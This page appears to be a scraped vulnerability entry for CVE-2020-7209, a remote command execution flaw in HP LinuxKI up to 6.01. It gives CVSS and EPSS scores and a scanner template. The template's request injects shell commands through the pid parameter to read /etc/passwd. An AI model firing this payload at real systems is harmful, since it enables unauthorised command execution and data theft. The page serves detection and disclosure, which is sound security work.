9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.972 High
EPSS
Percentile
99.8%
LinuxKI v6.0-1 and earlier are vulnerable to remote code execution.
id: CVE-2020-7209
info:
name: LinuxKI Toolset <= 6.01 - Remote Command Execution
author: dwisiswant0
severity: critical
description: LinuxKI v6.0-1 and earlier are vulnerable to remote code execution.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
remediation: This is resolved in release 6.0-2.
reference:
- http://packetstormsecurity.com/files/157739/HP-LinuxKI-6.01-Remote-Command-Injection.html
- http://packetstormsecurity.com/files/158025/LinuxKI-Toolset-6.01-Remote-Command-Execution.html
- https://github.com/HewlettPackard/LinuxKI/releases/tag/v6.0-2
- https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
- https://www.hpe.com/us/en/home.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-7209
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-7209
epss-score: 0.97202
epss-percentile: 0.99806
cpe: cpe:2.3:a:hp:linuxki:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: hp
product: linuxki
tags: cve,cve2020,rce,packetstorm,hp
http:
- method: GET
path:
- "{{BaseURL}}/linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END;"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
# digest: 4a0a004730450221008918f007005c4bd18c47d5bd3d0b1d74255d1ec310d880c39358415ae1b283d5022004aa9c23cc199e0a314102ed9d1ce95519a69938084464c7146e9a8b5e8bc434:922c64590222798bb761d5b6d8e72950
packetstormsecurity.com/files/157739/HP-LinuxKI-6.01-Remote-Command-Injection.html
packetstormsecurity.com/files/158025/LinuxKI-Toolset-6.01-Remote-Command-Execution.html
github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78
github.com/HewlettPackard/LinuxKI/releases/tag/v6.0-2
nvd.nist.gov/vuln/detail/CVE-2020-7209
www.hpe.com/us/en/home.html
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
7.5 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
0.972 High
EPSS
Percentile
99.8%